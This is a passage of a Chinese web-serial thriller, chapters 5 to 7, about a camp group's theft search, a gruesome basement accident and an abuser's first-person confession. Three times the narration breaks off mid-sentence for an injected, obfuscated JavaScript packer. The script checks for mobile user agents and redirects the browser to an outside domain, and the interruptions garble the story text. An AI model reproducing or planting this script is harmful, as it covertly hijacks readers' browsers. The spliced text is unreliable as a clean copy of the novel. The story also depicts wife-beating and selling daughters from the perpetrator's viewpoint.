就这时,赵淑萍慢腾腾地挪了上来。她住钱晓文的隔壁,周志将搜房间的事情告诉她。钱晓文期待她像她一样抗拒,结果赵淑萍严肃地说:“搜,一定要好好搜,搜彻底,后面才安生。” “对咯。” 张情笑着看钱晓文。 “你不搜也没事,不耽搁什么,等搜完所有人的,没找到手机,那谁是小偷不就清楚了?” 钱晓文眼睁睁看着那些人从怀疑她变成肯定她是小偷。他们笃定自己不是小偷,那么只有她是了。 人群开始往赵淑萍房间移动。 踌躇不定的钱晓文急了,一把拽住梁威,“你进去查吧。”以她的工作经验看,梁威是这群人里最稳妥可靠的。他应当不会感到害怕。 她打开房间,将梁威推进去,又带上门。 “有宝贝啊?” 张情好奇。 钱晓文冷着脸,不答。 张情讨了个没趣,不问了,抱着猫靠在走廊栏杆等结果。 梁威确实吓了一跳。 钱晓文的房间入门是一排高高的柜子,将里面遮挡完全。他绕过立柜,视野挤进一具青灰白的尸体,死沉沉地躺在敞开的帘子后面,旁边一架小推车上放满各式各样的工具,桶里浸泡着皮肉。 青白的顶灯照着,活像一个变态杀人现场。 梁威是警察,却只是一个民警。第一次直视这样惨烈的场景,骇了一大跳。好在多年的经验让他很快沉静下来。 他没有在第一时间找手机和平板,而是站在尸体旁边。 尸体损伤非常严重,肩膀以上面目模糊,没有一块完好的皮。手脚也是损伤惨重。尸体处理过,散发浓郁的药水味,没有臭味。 他在尸体躺着床架上看见一张标签:作业一,修复。 梁威在落地衣架上找到钱晓文的工作牌——入殓师。一寸照片的右下角盖着平城怀安火葬场的红章。 梁威瞬间知道她不愿意被搜查房间的原因了。但凡被胆小的人看见,后面两个月都无法融洽相处。在夏令营里,最不能的就是孤立一人。 他找了一圈,没有找到平月的手机和平板。 走出房间,大家都盯着他。钱晓文紧张得快绷不住了,很怕他将房间里的事情说出来。 张情:“没有?” 梁威:“嗯。”没有过多的话,拐进了赵淑萍的房间。 钱晓文松了一口气,而赵淑萍提上一口气,焦灼地等周志和梁威搜完出来,周志对她摇了摇头,她仍旧没有放轻松的意思。 赵淑萍隔壁是张情房间,除了满屋乱飞的裙子和内衣内裤香水指甲油,什么都没有。周志看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926634|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得尴尬至极,早早退出房间。 接下来是梁威和周志的房间,两个人互相搜对方,也没有。 悦凌凌站在平月门口扬声问:“找到没?” 周志说:“没。” 余有为打个哈欠,掏出裤兜里的烟,点燃叼在嘴里,“既然没有,都回去睡吧?” 梁威抬起手腕看表,折腾这么久,已经是凌晨一点了。 周志也打了个哈欠,说:“今晚先这样?大家把门反锁了,能用椅子抵的就抵抵,明天再说?” 确实搜不出手机,梁威不能强行留人。他们折腾一路到这里,下午睡了四五个小时又被吵醒,确实累人。 大家散了。 梁威回房间拿了跌打损伤的药酒去平月屋里,平月还没醒。悦凌凌把手机还给他。梁威收了手机,让她去浴室拿张毛巾。 他半跪在床边,拉过平月的左脚,脚踝那处肿得有点大了。他摸到错位的骨头,握住她的脚掌,用力一扭。 咔嚓。 “啊!” 平月痛醒了,条件反射地提脚就朝他脸上蹬。 那是她最大的力道,对于梁威而言,不如局里的沙包重。轻飘飘地卸了力。 “别动。” “怎么了!” 悦凌凌和陈宇南匆匆忙忙跑来,一个在浴室门口看他,一个在大门口看他。 梁威拿过悦凌凌手里的毛巾,垫在床上,对平月点了点毛巾。她痛得眼眶红了,很不想照做,但看见梁威将药酒倒在掌心搓得沙沙响,还是老老实实将脚递过去。 梁威搓热了手,一手捏住她的脚后跟,另一只手往她脚踝按。 “痛!” 平月痛得嘶嘶抽气,卷着脚趾不断往回收腿。梁威握得用力,按住伤口搓揉。 平月几乎是用最悲惨的声音惨叫了两声,然后不叫了。 梁威狐疑抬头,只见她咬着唇,眼泪一串一串地掉。那眼泪晶莹剔透,像春水,流到空气里,方方正正的气氛都被染出了涟漪。 梁威最不喜欢柔柔弱弱一疼就哭的女生,甚至烦得头疼。但这一刻,梁威才知道他烦的是人,不是哭。如果他从一开始就烦,就不会带药酒过来。 她坐在那儿悄悄哭,就哭这么一小会,眼睛红红的,眼睑也哭红了,微微肿起,瞳孔里尽是桃粉色的水。 掌心的药酒像是从她脚上流进了他的体内,灼烧了他。 他下意识握紧手,才惊觉她的脚很小,很软,比面团还柔软细腻。拇指从她的脚背滑过,像摩挲一块完美的玉,触感令人流连忘返。 “别哭了。” 陈宇南蹲在床边,拿着纸给她擦眼泪。 “忍忍,马上就好了。” 他说得笨拙,声音轻,像哄孩子。 平月的眼泪掉得更多了,给陈宇南吓得手足无措,却又不知道该怎么做,他从来没哄过女孩子,都是女孩子追他。于是手忙脚乱地给她擦眼泪。 梁威收回神,用毛巾裹住她的脚,放回被子里。 “好好修养,我回去了。” 她张口想说话,但刚才哭得凶,出口的哭腔不成调。 梁威知道她想说什么,“有事叫人。” 她点点头。 梁威转身走出房间,两侧的手掌滚烫,隔着粗糙的厚茧烧灼他。他拿起来,摊开,又握上,握了一团冰冷的空气。 视野上方有一道影子。 张情靠在门框上,抱着猫,似笑非笑地看他。 梁威迅速将手背到身后。 张情瞥了他一眼,没说话,扭身进了屋。 5. 第 5 章 凌晨两点,赵淑萍躺在床上翻来覆去地睡不着,吃安睡片也没用。她坐起来,窗外一片漆黑,屋里漆黑,只有门缝透进走廊上的光。 发生偷盗的缘故,二楼和一楼的大灯通宵亮着。挺费电,但赵淑萍没拒绝。 她害怕。 每每回想到小偷逃跑的场景,她就害怕,浑身寒毛直立。所以楼上闹腾那么久,她迟迟没上楼。 当时她弯腰从柜子里拿茶杯,抬头看见一道人影从墙上窜过。 一楼厨房的天花板挡住了二楼的大部分,老花眼看不清近处,看远处却很清晰,尽管没开灯,尽管没看清小偷的长相,但她清楚看见小偷进了哪间房。 想到这,赵淑萍坐不住了,屁股下面长了铁钉,扎得她难受。她套上外套,匆匆出了门,路过张情的房间,路过梁威的房间,停在周志门口。 她犹豫良久,还是敲了门。 敲了好几下,周志才打开门,看见她很是诧异,连哈欠都截断了,“什么事?” 赵淑萍推他进屋,反手关上门。 周志拉来椅子,让她坐。 赵淑萍也不坐,直接问他:“你搜我房间时,有搜到什么吗?” 周志感到奇怪,她这话问得就像新手小偷在害怕有没有留下什么证据。但小偷偷东西时,赵淑萍和他在楼下,没有离开对方的视线,甚至赵淑萍跑不了那般快。 小偷可以是任何一个人,却不可能是他们两人。 周志打起精神,问她:“怎么说?” 赵淑萍附在他耳边:“我看见他了,没看清脸,但他进了我的房间。” 在得知要搜房间时,她一边害怕小偷将赃物留在她的房间里被搜出来,另一边更害怕小偷藏在她房间里,白天是偷东西,晚上等她睡着了该谋财害命。 所以她让周志搜彻底。 周志瞪大眼:“男的女的?” 赵淑萍:“男的,不高不壮,要说真像谁,还挺像那个红头发的男孩。” 红头发……陈宇南。 周志疑惑了。陈宇南很有钱。他搜陈宇南房间时,屋里全是名牌,耳机是他一年工资不止。偷手机平板做什么? 赵淑萍:“只是像,走廊黑乎乎的我也没看清。” 她生怕自己一句话给年轻小孩安了个罪名。 周志也觉得不该是陈宇南,那么……房子里还有其余人?也不一定,梁威说可能是女性盘了头发。和陈宇南身材相似的女性,房子里的女性都大差不差,多塞两件衣服就像陈宇南了。也有可能是男人,黑暗里,人倾斜到墙上的影子会消瘦一圈,也能像陈宇南。 赵淑萍:“你真没在我房间里发现什么?” 周志:“没。” 他知道她担心什么,老年人都怕死。 他安慰她:“我们搜得仔细,马桶盖都拆了,藏不了人,安心睡吧。” 周志:“要不我过去陪陪您,等您睡了我再回来。” 他们两人是头一天一车来的,赵淑萍没老人架子,周志没年轻人架子,两人聊得上来,感情比其他人好。 赵淑萍摆摆手:“算了算了,懒得折腾。本来我心里愁着睡不着,跟你说过之后,倒轻松不少。” 她说:“不耽搁你睡觉了,我回去了。” 周志送她回房间。 走廊灯光明亮,往回走的瞬间,周志忽然想起他们还有一处地方没有搜——每个人的身上。 小偷藏进赵淑萍的房间,必定事先知道房间没人,等所有人去平月房间时,再混进人群。带着赃物,站在人群里围观一切。大家都没有发现他的异常。 现在…… 他敲响梁威的房门,梁威没有睡,很快打开门。 周志:“你再打一个平月的电话。” 梁威拿出手机拨号。 【您拨打的号码已关机,请稍后再拨。】 梁威皱紧了眉。 周志:“他一直跟在我们身边。” 梁威仔细回想每个人的穿着,能藏手机,还得藏平板。平板那么大,不好藏。 想一圈,发现每个人都有藏的条件。张情穿裙子,余有为肚子肥胖,往里一塞也看不出来。范明胜裤子肥大。钱晓文穿的宽松长裤。悦凌凌穿的卫衣。陈宇南穿的皮夹克。连梁威自己也穿着宽大的深色衬衣。 现在,小偷有时间处理手机和平板了。然而他们没有第二次搜查房间的机会。 唯一一点踪迹没了。 …… 陈宇南一觉醒来,饭也没吃就跑去看平月。 “好点了吗?” 平月坐在床上,动了动脚。脚踝的肿已经消散下去,留下一块深紫色的淤,看起来触目惊心,动起来却不怎么疼。 陈宇南可心疼死了,说:“要不我再给你揉揉?”梁威的那瓶药酒还留在桌上。 平月想起昨晚撕心裂肺的疼,连忙将腿藏进被子里,转移话题:“你帮我把午饭拿过来。” 陈宇南果然不再说那话,听话地拿来盒饭,给她拆开,将筷子递给她。 平月一面吃,一面问他:“你吃了吗?” 陈宇南的肚子后知后觉地饿起来,不自在地说:“吃过了。” 平月就不问了,专心吃完饭和水果。 “原来你在这儿。” 悦凌凌探头进来。 “梁威叫我们下楼去。” “等会。” 陈宇南扔掉垃圾,拿面巾打湿了给平月擦手。 悦凌凌站在旁边,不高兴地努嘴。 陈宇南收拾完一切,问平月:“你要下去吗?估计是说小偷的事。” 平月:“要。” 陈宇南就蹲下来,“我背你。” “男女授受不亲懂不懂!”悦凌凌冲过去一把推开他,蹲在床边,“来,我背你。” 平月拒绝的话还没有说出口,悦凌凌回头一脸肯定:“我从小干活长大,力气大得很,不像某人细胳膊细腿就想背,背出问题了谁负责?” 指桑骂槐。 陈宇南想说什么,看了眼平月,闭上嘴,不和悦凌凌计较,省得平月觉得他小心眼儿。 “其实我能走……”平月双手撑着床垫,挪到床边。 “快点,楼下就等我们了。我背你走得快。” 悦凌凌拉起平月的手往自己脖子上一环,搂住她的腿猛地站起来。 平月被颠得整个人后仰,陈宇南眼疾手快扶住,让悦凌凌:“你慢点。” 悦凌凌哼声,大步往外走。下楼时,平月看见墙头挂着摄像头,摄像头的对面,走廊另一端的墙上也有一个。 平月问:“查过监控吗?” 楼下赵淑萍也在问:“怎么没想起查监控?” 悦凌凌一面下楼,一面提高声音问:“奶,您知道监控室在哪儿啊?” 赵淑萍:“不晓得。这房子里就二楼几间房,没看见别的房间。” 他们头一天来,房子里都转过。 梁威也是问过周志,与其浪费时间去找监控室让小偷得到藏赃物的时间,不如把人放视野里直接搜查。 偏偏漏掉人的身上。这是令梁威最懊悔的。 悦凌凌:“打电话问Jck,他肯定知道。” 赵淑萍“诶”一声,欣喜:“你这小苹果怪聪明。”她拿起座机打电话。 梁威和周志看见悦凌凌背着的人,齐齐起身过去将平月扶进椅子里坐下,周志摆一个抱枕在案几上,让她搭脚。 张情顺着猫毛,若有似无地盯着梁威笑。梁威从不与她视线对视,坐在沙发里。 余有为在窗边抽烟。范明胜醉醺醺地倒在沙发后面的地上睡觉。 电话接通了,赵淑萍将听筒放到柜面,声音拨到最大。 大家静下声来听。 “你好,这里是818夏令营。” 悦凌凌俯身过去,说:“平月手机被偷了,你们监 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926635|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 控在哪看啊?” “什么?” 悦凌凌又重复一遍。 “请问您有预约吗?” 悦凌凌:“Jck不是说有事直接打这个电话吗?” “请稍等……” 一串铃声之后,Jck的声音接了进来,他的声音充满了歉意:“监控室在地下室,地下室常年未启用,存在安全隐患。等我们这边远程调查监控,再给您回电。” 悦凌凌吐槽:“你们夏令营好水,小偷也选进来。” Jck:“抱歉。平月女士还好吗,她的损失,我们会双倍赔偿。” 悦凌凌:“好着呢,面色红润,就是脚扭伤了。” Jck又道了一次歉。 电话挂断。悦凌凌双手一摊,“等。” 接着又说:“不会最后跟我们说监控坏掉了吧?” 梁威:“在运作。” 赵淑萍突然“哎哟”一声,问周志:“帘子后面的那道门不会就是地下室吧?” 沙发背后的呼噜声停了,范明胜蹭地坐起来:“哪儿?” 赵淑萍指向楼梯。 楼梯口有处夹缝,背光。平时上下楼很少注意那里,被赵淑萍一指,绕过楼梯口才发觉后面挂着一张白布帘子。 梁威撩起帘子挂到墙上的铁钩上。打开灯,里面是一条一米长的死胡同,右边墙壁一扇铁门,手腕粗的链条往门把手上缠了好几圈,扣上大锁。 悦凌凌凑上去看,“Jck没说假话,看起来果然很危险。” 赵淑萍:“应该是地下室吧?除了这道门,没别的门了。” “让开让开,我瞅瞅。” 范明胜带着一身酒味挤进来,手抓起锁眯眼瞧。然后嘿笑一声,从鞋底抽出一根尖细的钢针。 舌头舔了舔针尖,冲锁孔插了进去。 悦凌凌捏着鼻子后退,撞到人身上,她回头看见平月,嘀咕着:“我怀疑小偷就是他,你看他手法多熟练。” “你个臭婆娘别瞎说。老子这手艺,真要偷直接把你们全偷了!” 自打听司机说地下室藏了几万瓶好酒,他就一直惦记着。这回可算惦记到眼前了,掏锁的手指兴奋得很。 任凭它千锁万锁也得给撬开。 赵淑萍的接受程度倒是广,没嫌弃他,“你这手艺哪学的?” “兄弟。” 他龇牙,舌尖舔着牙内侧的菜叶子,嚼吧两下吞下。 悦凌凌:“鬼信。” 范明胜呵呵两声,“说了你也不信,我年轻时候还讨过媳妇儿,那婆娘凶得很,一吵架就把我往屋外撵,凶的时候还换锁,这么多年,我也就掏过我自个儿家的锁。没这玩意儿,还回不了家。” 悦凌凌:“那你老婆呢?” “咔嚓。” 那把大锁真给他撬开了。 范明胜吐口口水,将钢针别回鞋底,拽掉铁链,一把推开门。 铁门“吱呀”弹开,积年累月的灰尘铺天盖地涌出。 大家捂住口鼻后退,只有范明胜在灰尘里深吸了一口,一脸垂涎。这是陈年的老味,下面必定有好酒! 范明胜迫不及待地冲进去。视野可见的范围内,有一段向下的台阶,只听得他蹬蹬地跑。 梁威点开手机电筒,往里面照了照,空中吊着一根灯绳,他拉开。 啪! 白光炸开的瞬间,范明胜一脚踩空,掉了下去。 “轰隆!” 楼梯下面,铁片风扇高速运作。 范明胜垂直往里掉。 “啊——救——!” “轰隆——” 楼梯上方的人甚至来不及接收机器的嗡鸣,视野里闪过一条腿,血淋淋地在空中抛出一道弧线,砸在楼梯上。 “轰隆轰隆。” 铁片风扇嘎吱转动,叶片上的血随着转动四处飞溅。 平月脸上一热,伸手摸了一下,满手的血。 6. 第 6 章 平月惊醒了。 第一反应便是抬手放到眼睛上方。手是干净的,没有血。 她坐起来,拖着左脚到浴室里照镜子。镜子里的脸也是干净的,没有血。 虚惊一场。 平月狠狠松了一口气,拧开水龙头正想洗个脸,整个人忽然顿住。她看见镜子里的自己,白色短袖的领口,有一圈铁锈色的红。那抹红,是氧化很长时间的血,凝固了。 硬邦邦地摩擦她的锁骨。 平月扯开衣领,她的肩膀上残留着从领口渗透进去的血迹。 那不是梦,是真实发生的。 平月快速挪到走廊,俯身往下看。 除她以外的所有人坐在客厅里,气氛沉重。 范明胜仰躺在沙发上,闭着双眼,死气沉沉。灰脏色的裤子被血浸成了黑色,身上的白沙发也变成了红里透黑的颜色,右边大腿根往下空空荡荡。 钱晓文坐在沙发旁,手里拿着针线,在给他缝腿根。 平月突然感到口干,很想喝水。 “怎么办?” 悦凌凌拿着听筒摊手,“说Jck在开会,让我们有事情先留言,等他开完会再给我们回电。” 张情:“这不合理,你报警。” 悦凌凌按下110的第一个数字,脑海里突然闪过保密协议上的两条协议,以及最后一句话:如有违约,一切后果均由违约人承担,并支付违约金人民币2000万元。 2000万…… 悦凌凌“啪”地压下听筒,对张情说:“你来。” 张情没动。 愤怒从心底直往脑门窜,悦凌凌瞪圆眼:“你利用我?” 张情那副表情,明显就记得2000万的协议,搁这儿给她下套。她差点就打了。 张情转眼看向梁威:“你是警察。” “诶,你真是警察?” 悦凌凌总算松了口气,“有警察在就好。” 梁威拿出手机,信号断了。他拨出110,意料之外地“嘟”了一声,通话被切断。 梁威顿时有了一种危险感。哪怕断了信号,也不可能报不了警。他大步跨到立柜边,拿起听筒报警,也是“嘟”一声被切断。 “怎么了?” 悦凌凌紧张地问他。 梁威说:“所有通话被屏蔽了。” 悦凌凌一下子就炸了,“会死人的,怎么能这样!”她夺过听筒,按下拨号键,通话自动接去夏令营。 “您好,这里是818夏令营,请问您需要什么?” 悦凌凌大喊:“有人要死了,让Jck来,让警察来!” 对面问:“谁要死了?” 悦凌凌:“范明胜。” 对面:“抱歉,本期夏令营参营名单没有这个人。” 悦凌凌:“怎么可能?!” 对方不耐烦了,仍旧保持微笑的语气:“请不要再玩这种戏弄人的游戏,您会耽误真正有需求的人的来电。本则通话到此为止,祝您生活愉快,再见。” 通话挂断,悦凌凌举着听筒愣在那里。 听筒的声音一直保留着最大,所有的对话,大家都听见了。 钱晓文的针扎歪了,所幸范明胜昏迷得很死,她抽回针,重新缝。 悦凌凌回过神来,盯着沙发上的范明胜,“那他……?” 那他……范明胜为什么在这里? 没有人知道。 “你们看……” 陈宇南竖起手机面向他们。 今早8点18分,夏令营官方发布通报:恭喜九名幸运儿成功参加夏令营。 九名…… 房子里有十个人。 悦凌凌扑过去往下划拉通报,通报内容一溜的恭喜,没有公开幸运儿的名字。但很明显,范明胜就是多出来的那个人。 “我就说!” 悦凌凌后知后觉道:“他干嘛都躲最后面,Jck出现在电视上时他也躲沙发后面。一定是路上看我们东西多,混进来偷我们东西,还死不承认!” “不对啊……” 周志狐疑:“他门上有铭牌啊……” 他站起身,绕到沙发对面,仰头往二楼走廊看。大灯将走廊照得通亮,范明胜的门上光溜溜,与隔壁余有为挂着铭牌的房间门显得与众不同。 悦凌凌:“他真是运气好,刚刚多一间房,要是没多余的房间,早露馅了。” 周志望着那扇空荡荡的门怔了一会,转念一想或许是自己记错了,那扇门一直没有铭牌,只是因为范明胜住在里面让人下意识认为有范明胜的铭牌。 旁边的梁威在问陈宇南:“你怎么有网?” 陈宇南晃了晃指间的东西:“随身WiFi。” 他说完话的瞬间,随身WiFi也不管用了。信号格和WiFi格一片空白。浏览器的界面也翻了白。 陈宇南:“……” 楼梯间传来动静。平月扶着墙壁一步一蹭地挪下来,陈宇南立刻不关心有没有网了,手机一丢,“你醒了!”跑过去扶人。 悦凌凌撇嘴,“胆小成那样,看见血就晕还下来干嘛。” 陈宇南努了悦凌凌一眼,转移平月的注意力:“感觉怎么样?” “没事。”平月被放在餐厅里,背对客厅坐着。她回头看了眼,问:“他怎么样?” 陈宇南挠挠下巴,有点说不清。还是将刚才的事情告诉了她。 “你晕了,我们把你送回房间。”他怕她醒来害怕,悄悄洗掉了她脸上的血。 后来,他们将范明胜拖上来。 “腿是接不上了,现在就只能给他处理伤口止血。” 他指着钱晓文,对平月说:“她是医生。但我们没什么药,也不知道他后面情况能怎么样。” 一切没有定数。 “叮咚叮咚——” 座机突兀地响了。 悦凌凌抓起听筒大声问:“谁?” Jck的声音透出来,带着十分的歉意:“听说你们那边有人受伤了?” 不等悦凌凌回答,他又说:“我已经安排了医生和安保人员上去。” 悦凌凌:“要安保人员干嘛,能不能叫警察上来,他根本就不是我们这里面的人,你让警察来!” Jck:“这是我们的失误,我们会处理。报警属于违背协议,在没有特殊情况之下,任何人不能违背夏令营协议。” 一阵沉默。 所有人都记得违约金是2000万,只有赵淑萍不知道,她只懂自己是来玩的,于是她问:“什么情况才算特殊情况?” Jck:“本届夏令营参与者的人生安全受到危险。” 纵观屋里所有人,都挺安全,只有不属于这里的范明胜不安全。 悦凌凌:“那你让他们快点来,快点把他带下山去。” 电话挂断了。 平月绕到厨台后方,接了一壶水架在炉灶上烧。保温杯忘了拿,她弯腰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926636|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打开橱柜,里面一排水杯碗筷。最近的两个水杯上沾着手指印,没洗干净。 她关上柜门,也关掉火,从冰箱里抽出一瓶矿泉水喝。 “你们谁有药?” 钱晓文系紧绷带,将工具往药箱里捡,合上药箱过来洗手。 水哗啦啦从她的手掌流到指尖,将血冲成红粉色从下水口溜走。 悦凌凌嘟囔:“我是来学习的,谁学习带药。” 平月说:“我有基础药。” 赵淑萍说:“我也带了些。”她起身往楼上走,“我提下来你看看有没有合适的,都是我孙女给我准备的。” 陈宇南见平月站在厨台旁,手里握着冒冷烟的水,靠过来说:“我给你烧水喝,你别喝太多冷水,本来就受伤了。” 他晃了晃水壶,是满的,便打开炉灶加热。 平月说:“我忘记拿保温杯了。” 陈宇南:“我上去拿。” 平月:“药袋在右边床头柜里。” 陈宇南一一应下,往楼上走时,悦凌凌酸溜溜地撇嘴,转头看见他急切的身影,突然跟着冲上去,在陈宇南准备进房间时,一把推开他,“人家女生的房间你进什么,你站在这,我去拿!” 陈宇南被她撞懵了,愣在原地。悦凌凌冲进去,视线扫一圈,保温杯立在窗边的小圆桌上。她跑过去拿起保温杯,顺手拉开了床左侧的立柜,一层抽屉里全是药。 悦凌凌吓了一跳,拎出装药的袋子拉开,全是小瓶的维生素,还有鱼油、叶黄素、布洛芬、阿司匹林。 悦凌凌拎着那袋药跟从药厂进货回来似的,下楼塞平月手里,“你吃药当饭啊?” 平月顿了顿,说:“工作需要。平时要吃维生素才能集中注意力,有时候睡不着也得吃。” 客厅里的人朝她看来。 悦凌凌:“你干嘛的啊?” 平月:“写小说。” 她不想多说这个话题,转身问钱晓文:“需要什么?” 钱晓文正在用白醋搓手指,范明胜的伤口太复杂,她缝了很久,血在她的手上凝固了,一点也不好洗。 她瞟一眼,说:“都留一点。得看他醒了什么情况。” 平月分了一些药放在厨台上。那面赵淑萍也提了药箱下来,她年龄太大,药箱里几乎都是老人药,少量的感冒药、板蓝根和布洛芬。 钱晓文抽出温度计。 水开了,平月倒水烫洗保温杯,再装满。 钱晓文手指搓红了,懒得搓了,等着等会上楼用药水洗。她擦干净手,说:“他情况复杂,得有人守着。” 这话的意思就是得留人在楼下守着范明胜。 窗外的夕阳已经变灰了,晚上六点过了,折腾一下午,每个人都是又累又饿,更何况范明胜这算是自作自受——谁让他偷跑进来?谁让他撬地下室的门? 没人开口。 赵淑萍叹口气,说:“我看着他吧。”到底是条人命,不能眼睁睁看着人没了。 周志说:“等会我来替您。” 赵淑萍摆摆手,“去吧。” 大家陆陆续续上楼。悦凌凌抢在陈宇南之前扶着平月回了房,等陈宇南走了,悦凌凌也走了。 房间门关上,平月将药袋塞进柜子里,拉开床右边的立柜,那里面也有一袋药。 她坐在床上发了一会呆,打开电脑,在空白了三个月的第一章敲下第一行字。 【我叫范明胜,会死在晚饭后……】 7. 第 7 章 我叫范明胜。 这辈子没什么出息,唯一的出息就是讨了个媳妇。 我们村全是光棍,读个书不耀祖,耀祖的是找个媳妇儿生个儿子。村里人听说我讨了个媳妇,一向冲我摆臭脸的族长都掏了一百块钱给我买酒吃。 我真的……哈哈哈哈——! 当然那一百块钱没进我的兜,他们只看见我讨了个媳妇,没看见我媳妇有多凶。不管在村里村外,我都是横着走,没人敢惹我。搁我媳妇面前,我只能缩着走,不敢惹我媳妇。 她动不动就拿东西打我,手薅到什么拿什么,鸡毛掸子、衣架、扫把、洗菜盆…… 打完还要撵我走。 那是我家啊! 虽然是租的。 刚开始能忍,后来越来越过分,不要我进屋,换锁,我跟我兄弟学了一招开锁,她打到我兄弟家。 太丢脸了! 第一次,我跟她吵了一架。 她没我高,气势却比我凶。不过我踮起脚,居高临下看她的时候,脑子被门夹了觉得她可怜。 于是,我吵输了,被打得鼻青脸肿。 第二次,厂里老板跑路了,三个月没发工资。她拿着扫把杆杆指着我的鼻子骂我穷逼。 穷,我认了。 她又骂我没出息,隔壁男人去工地搬砖都能拿一两千一个月,我干死干活拿不到工资。 拿不到工资是我的错吗?去厂里干活为了谁?还不是为了她,她要来城里,要学人家住楼房。当初来的时候,她天天笑得跟花儿似的,不知道从什么时候开始……反正我是想不起来了,每次想起她,总是她那张怨恨的脸,怨我没别人有出息,怨我这不好那不好,怨我吃饭睡觉抠脚。 这一次,我没让她,跟她大吵了一架,摔门走人。 生气是真生气,但总归是自个儿婆娘,日子还是要过。我掉头去工地搬砖了。 那是真累人。 有拉车的时候,砖是拉上楼的。没拉车的时候,全靠人背。一楼二楼三楼七楼,一层层背上去。 有时候忘了戴手套,一天背下来,手心全是砖割破的皮和血。 就这样干了一个月,拿了一千六。一分没留地交给媳妇儿。大过年的,那臭婆娘又把老子骂了一顿。说老子出去鬼混,别人一个月拿两千五,凭啥我只给她一千六? 天地可鉴,虽然老子爱看美女,但自从跟她结婚后,可从没有出去鬼混过! 她拿铲子怼着老子的鼻子,非要老子把钱交出来。老子真的是……肯定是隔壁的臭婆娘乱说! 老子冲到隔壁去把那在工地上干活的家伙揪出来,问他上个月拿了多少钱。他说一千七。 看吧看吧,就知道他家婆娘乱说,害得我那婆娘乱信。 我把他拎到婆娘面前,婆娘非说我们窜好的。 窜他妈的几把! 我快被臭婆娘气死了,又没办法。 老房子的白炽灯惨白,青幽幽的像死了人。她那张凶神恶煞愤怒的脸在灯下像一只灌了水发肿的死肥猪。 这一次,我意识到无论跟她说什么,她都不会信,她只信她认定的。 我甩手走人,去找兄弟喝酒,跟我兄弟吐槽。我兄弟叫我忍,说现在讨媳妇不好讨,毕竟他都没媳妇。后来我吐凶了,兄弟又说干脆能过就过,不能过咱就回到以前,想干啥干啥! 我觉得他说得对,天天这样,过着真没意思。 第二天,我跟兄弟回了一趟村里。村里还是那样,一溜的老光棍,见面就问我什么时候抱儿子。 兄弟:“对哦,你们结婚三年了,咋还没生个儿子?” 我陡然醒悟,这些年赚的钱全他妈花臭婆娘身上了,我连衣服裤子都没买两件,鞋子破底了还在穿,也没逼她马上生个儿子,她凭啥嫌弃我? 凭啥就不能过了? 不能离,还得继续过下去! 第二年,臭婆娘生了个女儿。 村里一听,都叹气,说可惜:“范家没根咯。” 范家是不可能绝后的。 我把女儿送给了隔壁村的老头儿。 第三年,生了个双胞胎,还是女儿!两个女儿! “你到底能不能生!” 我愤怒得像一头牛,感觉受到了狠狠的欺骗。 当初就是看中她人壮屁股大能生养才花了那么多钱娶回来,谁他妈要她生这么多女儿? 生女儿有什么用?长大了都是别人家的,去给别人洗衣做饭生儿子,又不是我范家的! 辛苦几十年全白养了! 她拎起铁盆砸我头上,血从额头滚进眼里,冲我疯了一样吼:“滚!” 她躺在床上,一身的虚肉,爬也爬不起来。现在的她就是一条摁在案板上的猪,宰不宰全看我心情。 可我的心情极端不好。 两个女儿在床上“呜啊啊”哭,那聒噪的魔音就像一把锯子,把我仅存的理智锯断了。 我扑上去,打了她。照着她的脸,一拳又一拳,掐着她的脖子,把这些年挨过的打和辱骂全部还到她身上。 她从最开始的尖叫,变成奄奄一息。 后来是隔壁的在工地上干活的男人拉开我的。他以为我们还在为工资的事情吵架。 他偷偷告诉我,其实他每个月两千多不是包工头给他这么多,是他每天下班的时候偷偷从工地里捡一些钢管、电线藏在裤兜里带回来,让他婆娘拿去卖。 一个月下来有个两千多,多的时候能拿到三千。 我听不进去,这些事关我屁事。虽然我小时候混,在村里偷鸡摸狗,但自从跟她结了婚,我一直都是个老实人。不偷不抢不赌不嫖,尽量让自己对得起她。 可她呢?她呢?她对得起我吗? 我又开始愤怒了。那兄弟拉着我,阻止我冲进屋。忍无可忍,我冲大门狠狠踹了一脚,跑去找我兄弟喝酒。 兄弟:“你们还年轻,还能再生。” 当然,我才25!别说25,就是35、45我也能生! 兄弟的表舅的亲戚想要女孩,我把她们送了过去。那家人感动得哭天动地,给了我四千块钱。 实在搞不懂要女孩干嘛,养大了还不是别人家的,白花几十年钱。 不过我自个儿都还没着落,犯不着替别人不值。我分了一千给兄弟,剩余的钱拿回家去。 那臭婆娘整天窝在床上,衣服不洗,饭不做,看见我就躲。 我把钱扔在床上,床上的人往床脚缩了缩,抱着头,缩成一团。 